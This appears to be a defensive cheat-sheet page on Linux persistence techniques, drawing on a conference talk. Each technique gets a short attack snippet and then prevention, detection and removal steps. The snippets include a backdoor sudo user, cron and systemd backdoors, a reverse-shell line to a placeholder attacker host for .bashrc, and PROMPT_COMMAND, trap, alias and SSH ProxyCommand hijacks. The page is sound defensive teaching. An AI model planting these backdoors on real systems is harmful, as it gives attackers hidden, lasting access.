> For the complete documentation index, see [llms.txt](https://kmanu225.gitbook.io/cs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kmanu225.gitbook.io/cs/reference/cheat-sheet/system/linux/attacking-linux/persistence-mechanisms.md).

# Persistence Mechanisms

Persistence is one of the most critical stages in a cyberattack: once an attacker has access, they want to make sure they can come back even if their initial entry point is closed. At [**Black Hat USA 2025**](https://www.youtube.com/watch?v=whhOYRWd_rs\&ab_channel=JohnHammond), John Hammond presented several *lesser-known Linux persistence techniques* that defenders should be aware of.

In this article, I’ll review both **common** and **lesser-known** techniques, and, most importantly, how to **prevent, detect, and remove** them.

## Common Persistence Techniques

### 1. Adding a Backdoor User

```bash
adduser attacker
usermod -aG sudo attacker
```

**Prevention**

* Enforce centralized authentication (LDAP, AD, or PAM hardening).
* Disable direct root login; use only known accounts with key-based auth.
* Use tools like **aide** or **osquery** to monitor system files.

**Detection**

* Check `/etc/passwd` and `/etc/shadow` for unexpected users.
* Audit `/etc/group` for sudo/wheel membership.
* Use `lastlog` to spot accounts that suddenly appear.

**Removal**

* `deluser attacker` (or `userdel -r attacker`).
* Review `/home/attacker` for artifacts.

***

### 2. Adding SSH Keys

```bash
ssh-copy-id user@$TOE
```

**Prevention**

* Restrict permissions: `chmod 600 ~/.ssh/authorized_keys`.
* Use centralized key management.
* Monitor with **auditd** for changes to `.ssh` directories.

**Detection**

* Inspect `~/.ssh/authorized_keys` for unknown keys.
* Audit `/etc/ssh/sshd_config` for unusual settings (`AuthorizedKeysCommand`).
* Look for hidden files like `/opt/.hiddenkeys`.

**Removal**

* Remove the malicious key line from `authorized_keys`.
* Restart SSH if system-wide config was modified.

***

### 3. Cron Jobs

```bash
echo "<frequency> backdoor_script" | crontab -
```

**Prevention**

* Restrict cron usage to trusted users (`/etc/cron.allow`, `/etc/cron.deny`).
* Monitor changes with **auditd**.

**Detection**

* Run `crontab -l` for each user.
* Inspect `/etc/crontab`, `/etc/cron.*`.
* Use `systemctl list-timers`.

**Removal**

* Delete the malicious entry.
* Kill any still-running process started by it.

***

### 4. Systemd Services

Malicious `.service` files:

```ini
[Service]
ExecStart=/usr/bin/<backdoor>
```

**Prevention**

* Restrict `sudo` usage; don’t allow untrusted users to modify `/etc/systemd/`.
* Use **tripwire/aide** to monitor changes.

**Detection**

* `systemctl list-unit-files | grep enabled`.
* Look for strange files in `/etc/systemd/system/`.
* Check logs: `journalctl -u <service>`.

**Removal**

```bash
systemctl disable <malicious>.service
systemctl stop <malicious>.service
rm /etc/systemd/system/<malicious>.service
```

***

### 5. RC Files (`.bashrc`, `.profile`, etc.)

Malicious lines in shell startup files:

```bash
bash -i >& /dev/tcp/<attacker>/4444 0>&1
```

**Prevention**

* Apply least privilege: don’t allow attackers to write to home dirs.
* Use restricted shells where possible.

**Detection**

* Inspect hidden dotfiles in `/home/*`.
* Look for suspicious commands (`netcat`, `bash -i`, `curl | sh`).
* Use integrity monitoring.

**Removal**

* Remove injected lines.
* Rebuild affected dotfiles if unsure.

***

## Lesser-Known Persistence Techniques

### 6. Environment Variables

```bash
export PROMPT_COMMAND="<backdoor> &"
```

**Prevention**

* Restrict write access to environment configs.
* Regular audits of environment variables.

**Detection**

* `printenv` for unusual variables.
* Audit `/etc/environment` and `/etc/profile.d/`.

**Removal**

* `unset PROMPT_COMMAND`.
* Clean `.bashrc`, `.profile`, `/etc/profile.d/`.

***

### 7. Trap Debug Hijack

```bash
trap "<backdoor> &" DEBUG
```

**Prevention**

* Lock down dotfiles.
* Monitor for shell modifications.

**Detection**

* Inspect `~/.bashrc` for `trap` commands.
* `trap -p` to list active traps.

**Removal**

```bash
trap - DEBUG
```

Then clean startup files.

***

### 8. Aliases

```bash
alias ls="backdoor & ls --color=auto"
```

**Prevention**

* Enforce minimal shell profiles.
* Integrity monitoring.

**Detection**

* Run `alias` to list defined aliases.
* Inspect `~/.bashrc`, `~/.zshrc`, `/etc/bash.bashrc`.

**Removal**

```bash
unalias ls
```

Remove alias definitions from dotfiles.

```bash
grep -r "alias" /
```

***

### 9. SSH Config Abuse

```ini
Host *
  ProxyCommand <backdoor> %h %p
```

**Prevention**

* Enforce strict permissions: `chmod 600` configs.
* Monitor for hidden files in `/opt/`, `/etc/ssh/`.

**Detection**

* Inspect `~/.ssh/config` and `/etc/ssh/ssh_config`.
* Look for `ProxyCommand` or unexpected `AuthorizedKeysCommand`.

**Removal**

* Clean suspicious config directives.
* Restart SSH.

***

### 10. PAM Degradation

Attackers may patch or replace PAM modules for stealth persistence.

**Prevention**

* Only install signed packages.
* Enable kernel module integrity checks (IMA/EVM).
* Monitor with **osquery**.

**Detection**

* Verify PAM configs: `/etc/pam.d/*`.
* Check integrity of libraries in `/lib/security/`.
* Use `ldd` to detect replaced shared objects.

**Removal**

* Restore PAM configs from backup.
* Reinstall `libpam` packages.

***

## Conclusion

Persistence mechanisms range from **blatant (extra users, cron jobs)** to **subtle (aliases, PAM tampering)**. The key for defenders is:

* **Prevent**: enforce least privilege, configuration management and root access protection.
* **Detect**: monitor system integrity (`osquery`, `aide`, `auditd`).
* **Remove**: restore from clean backups, audit thoroughly.

Awareness is the first step because persistence is only effective if it goes unnoticed.

## Ressources

* <https://www.youtube.com/@_JohnHammond>
* <https://github.com/milabs/awesome-linux-rootkits>
* <https://github.com/Aegrah/PANIX>